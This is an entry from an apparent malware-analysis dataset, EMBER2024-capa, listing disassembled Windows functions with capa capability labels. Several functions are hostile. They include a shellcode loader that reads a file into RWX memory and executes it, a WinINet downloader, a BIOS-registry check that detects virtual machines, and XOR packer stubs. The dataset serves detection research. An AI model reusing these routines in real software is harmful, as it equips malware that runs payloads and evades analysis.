joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10185762
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
mov dword [0x101a0e88], 0xe24
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
xor eax, eax
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx + 0x3c]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], eax
jmp 0x101857b0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0xe], 0x6c
je 0x10185887
jmp 0x1018589b
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
je 0x101857ee
mov dword [0x101a0e8c], 0xd66
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0x104
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c], ecx
jl 0x101857b0
mov eax, dword [ebp - 0x1c]
mov dword [0x101a0e88], 0xf30
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
jne 0x1018589b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x1018589b
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff5
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2], 0x61
jne 0x1018589b
mov dword [0x101a0e88], 0x15e2
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x1018589b
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff7
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x28]
cmp word [eax + ecx*2], 0x64
jne 0x1018589b
mov dword [0x101a0e88], 0x1882
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x10185798
jmp 0x1018589b
mov eax, 1
mov dword [0x101a0e8c], 0xfeb
mov dword [ebp - 0x2c], eax
jmp 0x101858ac
mov dword [0x101a0e88], 0x177
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x101858ac
mov eax, dword [ebp - 0x2c]
add esp, 0x2c
pop ebp
ret
Function at 0x401600
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0x41a69a
call fcn.00417214
mov eax, 0x10d8
call fcn.004146b0
push ebx
push esi
xor eax, eax
push edi
mov word [ebp - 0x38], ax
xor ebx, ebx
push 0x1c
lea eax, [ebp - 0x38]
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x28], ebx
call fcn.00403796
push ebx
push ebx
push ebx
push ebx
push str.Download
mov dword [ebp - 4], ebx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [ebp - 0x1c], edi
cmp edi, ebx
je 0x401769
cmp dword [ebp - 0x24], 8
mov eax, dword [ebp - 0x38]
jae 0x40165e
lea eax, [ebp - 0x38]
push ebx
push 0x84000100
push ebx
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
mov dword [ebp - 0x18], esi
cmp esi, ebx
jne 0x401683
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x401769
lea eax, [ebp - 0xe4]
push eax
call fcn.004020dd
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xd8], 6
je 0x4016b5
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
jmp 0x401742
lea eax, [ebp - 0x14]
push eax
mov edi, 0x1000
push edi
lea eax, [ebp - 0x10e4]
push eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x4016fa
cmp dword [ebp - 0x14], ebx
jbe 0x401700
push ebx
push dword [ebp - 0x14]
lea eax, [ebp - 0x10e4]
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.00401d2d
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0x10e4]
push eax
push dword [ebp - 0x18]
call esi
test eax, eax
jne 0x4016cf
lea ecx, [ebp - 0xe0]
call fcn.00402b64
test eax, eax
jne 0x401734
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0xe4]
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x40172d
or eax, 4
push ebx
push eax
call fcn.0040141d
push dword [ebp - 0x18]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x1c]
call esi
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], bl
call fcn.004021b8
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x84], vtable.std::ios_base.0
call fcn.00405082
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x38]
call fcn.00402b06
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x4017e8
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:UsersPublicDocumentslogo.cco
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40186b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
push ebx
push esi
lea eax, [ebp - 4]
push eax
push CloseHandle
xor ebx, ebx
push ebx
mov esi, str.HARDWAREDESCRIPTIONSystemBIOS
push esi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4018c1
push esi
push ecx
push str.Failed_to_open_registry_key:
push 0x422a50
call fcn.0040480f
add esp, 0xc
push eax
call fcn.0040480f
push eax
call fcn.00401594
add esp, 0xc
xor al, al
jmp 0x4019bc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xa8]
push eax
push ebx
push ebx
push str.SystemManufacturer
push dword [ebp - 4]
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40190a
push str.Failed_to_query_value:_SystemManufacturer
push 0x422a50
call fcn.0040480f
push eax
call fcn.00401594
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4018ba
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xa8]
mov dword [ebp - 0x10], 0xf
mov dword [ebp - 0x14], ebx
mov byte [ebp - 0x24], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401929
sub eax, edx
push eax
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x24]
call fcn.00403513
push str.VMware
lea eax, [ebp - 0x24]
push eax
call fcn.00401aff
or esi, 0xffffffff
cmp eax, esi
jne 0x4019af
push str.Virtual
lea eax, [ebp - 0x24]
push eax
call fcn.00401aff
cmp eax, esi
jne 0x4019af
push str.Microsoft_Corporation
lea eax, [ebp - 0x24]
push eax
call fcn.00401aff
cmp eax, esi
jne 0x4019af
push str.innotek_GmbH
lea eax, [ebp - 0x24]
push eax
call fcn.00401aff
cmp eax, esi
jne 0x4019af
push str.Parallels_Software_International_Inc.
lea eax, [ebp - 0x24]
push eax
call fcn.00401aff
cmp eax, esi
jne 0x4019af
push ebx
push 1
lea ecx, [ebp - 0x24]
call fcn.00402a2b
jmp 0x4018ba
push ebx
push 1
lea ecx, [ebp - 0x24]
call fcn.00402a2b
mov al, 1
pop esi
pop ebx
leave
ret
Function at 0x4019c0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x108
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x4019e9
push 0x100
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
call fcn.00407147
mov dword [esp + 0xc], eax
pop ecx
lea eax, [esp + 8]
push eax
mov dword [esp + 0x10], edx
call fcn.00406fee
pop ecx
mov esi, eax
push dword [esi + 0xc]
mov eax, 0x41e2f0
push ecx
push eax
push ecx
mov ecx, dword [esi + 0x10]
inc ecx
push ecx
push ecx
push eax
mov eax, dword [esi + 0x14]
push ecx
add eax, 0x76c
push eax
mov edi, 0x422978
push edi
call fcn.00401b44
pop ecx
push eax
call fcn.0040480f
add esp, 0xc
push eax
call fcn.00401b44
pop ecx
push eax
call fcn.0040480f
add esp, 0xc
push eax
call fcn.00401b44
push dword [esi]
mov eax, 0x41e2f4
push ecx
push eax
push ecx
push dword [esi + 4]
push ecx
push eax
push ecx
push dword [esi + 8]
push ecx
push 0x41e2f8
push edi
call fcn.0040480f
add esp, 0xc
push eax
call fcn.00401b44
pop ecx
push eax
call fcn.0040480f
add esp, 0xc
push eax
call fcn.00401b44
pop ecx
push eax
call fcn.0040480f
add esp, 0xc
push eax
call fcn.00401b44
push eax
call fcn.00401594
pop ecx
call fcn.0040186b
test al, al
je 0x401abe
push 0x41e2fc
push edi
call fcn.0040480f
push eax
call fcn.00401594
xor eax, eax
add esp, 0xc
inc eax
jmp 0x401acf
call fcn.00401600
call fcn.0040179e
call fcn.004017e8
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402267
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41a4e4
call fcn.00417214
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x402284
xor eax, eax
jmp 0x4022ac
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
push edi
xor edi, edi
cmp ecx, edi
je 0x4022bc
mov eax, dword [esi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x4022bc
dec dword [eax]
mov esi, dword [esi + 0x24]
mov eax, dword [esi]
lea ecx, [eax + 1]
mov dword [esi], ecx
mov byte [eax], bl
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
cmp dword [esi + 0x54], edi
je 0x4022dc
mov ecx, esi
call fcn.00402d24
cmp dword [esi + 0x44], edi
jne 0x4022e1
push dword [esi + 0x54]
push ebx
call fcn.004015ca
pop ecx
pop ecx
test al, al
jne 0x4022a9
or eax, 0xffffffff
jmp 0x4022ab
push edi
push 8
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x34], 0
call fcn.00403587
mov dword [ebp - 4], edi
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402394
lea eax, [ebp - 0x34]
mov edx, eax
add eax, dword [ebp - 0x24]
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x14]
push ebx
push eax
push edx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x14]
test eax, eax
js 0x4023b2
cmp eax, 1
jg 0x40239c
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402348
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x14]
sub edi, eax
je 0x40236e
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x40235b
lea eax, [ebp - 0x34]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.00406ca3
add esp, 0x10
cmp edi, eax
jne 0x4023b2
lea eax, [ebp - 0x10]
mov byte [esi + 0x49], 1
cmp dword [ebp - 0x18], eax
jne 0x4023c8
test edi, edi
jne 0x402300
cmp dword [ebp - 0x24], 0x20
jae 0x4023b2
push edi
push 8
lea ecx, [ebp - 0x34]
call fcn.004028ab
jmp 0x402300
mov edx, dword [ebp - 0x34]
jmp 0x402312
cmp eax, 3
jne 0x4023b2
push dword [esi + 0x54]
push dword [ebp - 0x10]
call fcn.004015ca
pop ecx
pop ecx
test al, al
jne 0x4023c8
or esi, 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.00402a2b
mov eax, esi
jmp 0x4022ab
mov esi, dword [ebp + 8]
jmp 0x4023b5
Function at 0x402bf7
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41a53c
call fcn.00417214
sub esp, 0x20
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x402cec
cmp byte [esi + 0x49], bl
je 0x402cec
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x402c2f
xor al, al
jmp 0x402cee
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00403587
mov dword [ebp - 4], ebx
push edi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402c8f
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
mov ebx, dword [ebp - 0x1c]
add ebx, eax
push ebx
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x402c94
dec eax
je 0x402c98
dec eax
dec eax
je 0x402ce8
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402a2b
mov al, bl
pop edi
jmp 0x402cee
mov edx, dword [ebp - 0x2c]
jmp 0x402c59
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402ca4
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x10]
sub edi, eax
je 0x402cca
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x402cb7
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.00406ca3
add esp, 0x10
cmp edi, eax
jne 0x402c7c
cmp byte [esi + 0x49], 0
je 0x402ce8
test edi, edi
jne 0x402c4b
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.004028ab
jmp 0x402c4b
mov bl, 1
jmp 0x402c7e
mov al, 1
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x408081
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42165c]
jne 0x40808b
repz ret
jmp fcn.0040e80c
Function at 0x414cf4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42165c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040c858
and dword [ebp - 0x14], 0
cmp dword [0x4239bc], 0
mov dword [ebp - 0x18], eax
jne 0x414da7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x414e4f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x414e4f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4239bc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4239c0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4239c4], eax
call edi
push eax
call esi
mov dword [0x4239cc], eax
test eax, eax
je 0x414da7
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4239c8], eax
mov eax, dword [0x4239c8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x414e00
cmp dword [0x4239cc], ecx
je 0x414e00
push eax
call esi
push dword [0x4239cc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x414e00
test ebx, ebx
je 0x414e00
call edi
test eax, eax
je 0x414df7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x414df7
test byte [ebp - 8], 1
jne 0x414e00
or dword [ebp + 0x10], 0x200000
jmp 0x414e33
mov eax, dword [0x4239c0]
cmp eax, dword [ebp - 0x18]
je 0x414e33
push eax
call esi
test eax, eax
je 0x414e33
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x414e33
mov eax, dword [0x4239c4]
cmp eax, dword [ebp - 0x18]
je 0x414e33
push eax
call esi
test eax, eax
je 0x414e33
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4239bc]
call esi
test eax, eax
je 0x414e4f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x414e51
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408081
leave
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x408945
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x4085d8
mov ecx, dword [esp]
add esp, 4
and ebx, esi
inc esi
call fcn.0040897c
sub ebx, esi
add ebx, 0x11f54ffd
xor dword [eax], ecx
and ebx, ebx
add eax, 1
sub ebx, 0xf52891bc
cmp eax, edi
jne fcn.00408945
ret
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43100c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x10012b9
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor ebx, ebx
mov edi, 0x1004040
push edi
mov dword [ebp - 0xc], 4
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [ebp + 8]
dec dword [esi + 0xc]
lea eax, [ebp - 4]
push eax
push dword [esi]
call fcn.010011d2
test eax, eax
jne 0x1001317
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x1001334
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1002af9
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [ebp - 4], ebx
pop edi
pop esi
pop ebx
je 0x100132f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 4
cmp dword [ebp - 0x10], 4
jne 0x1001317
cmp dword [ebp - 8], 1
jne 0x1001317
cmp dword [esi + 0xc], ebx
jne 0x1001317
jmp 0x1002bcc
mov eax, dword [esi + 4]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esi + 4]
mov dword [eax + 8], ebx
jmp 0x1001317
Function at 0x100172a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1004058]
jne 0x1003039
test ecx, 0xffff0000
jne 0x1003039
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x320
push edi
mov dword [0x1004330], eax
mov dword [0x100432c], ecx
mov dword [0x1004328], edx
mov dword [0x1004324], ebx
mov dword [0x1004320], esi
mov dword [0x100431c], edi
mov word [0x1004348], ss
mov word [0x100433c], cs
mov word [0x1004318], ds
mov word [0x1004314], es
mov word [0x1004310], fs
mov word [0x100430c], gs
pushfd
pop dword [0x1004340]
mov eax, dword [ebp + 4]
lea ecx, [ebp + 4]
add ecx, 4
mov dword [0x1004344], ecx
mov dword [0x1004338], eax
mov dword [0x1004280], 0x10001
lea ecx, [ebp + 4]
mov ecx, dword [ecx - 4]
mov dword [0x100423c], eax
mov eax, dword [0x1004058]
mov dword [ebp - 4], eax
mov eax, dword [0x1004074]
xor edi, edi
inc edi
mov dword [ebp - 4], eax
push 0
mov dword [0x1004334], ecx
mov dword [0x1004230], 0xc0000409
mov dword [0x1004234], edi
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x100311c
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push 0xc0000409
mov dword [ebp - 0x320], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
leave
ret

Function at 0x100215a
Capabilities:
Access pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x10]
test eax, eax
je 0x100217d
push dword [esi + 0x1c]
push dword [esi + 0x18]
push dword [esi + 0x14]
push eax
call fcn.010022fe
test eax, eax
je 0x10021b4
mov eax, dword [esi + 0x20]
test eax, eax
jne 0x1002baf
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push dword [eax + 8]
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
test eax, eax
je 0x10021a7
push dword [eax + 0x64]
call dword [sym.imp.RPCRT4.dll_RpcMgmtSetServerStackSize]
cmp dword [esi + 0x24], 0
jne 0x1002bb8
xor eax, eax
inc eax
pop esi
pop ebp
ret 4
shl eax, 0xa
push eax
jmp 0x10021a1
push 1
push 0
push 1
call dword [sym.imp.ntdll.dll_RtlSetProcessIsCritical]
add esp, 0xc
jmp 0x10021b1

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x74480142
nop
nop
nop
nop
nop
test eax, eax
je 0x42e04e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x42cd70
mov ecx, 0xd917778
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219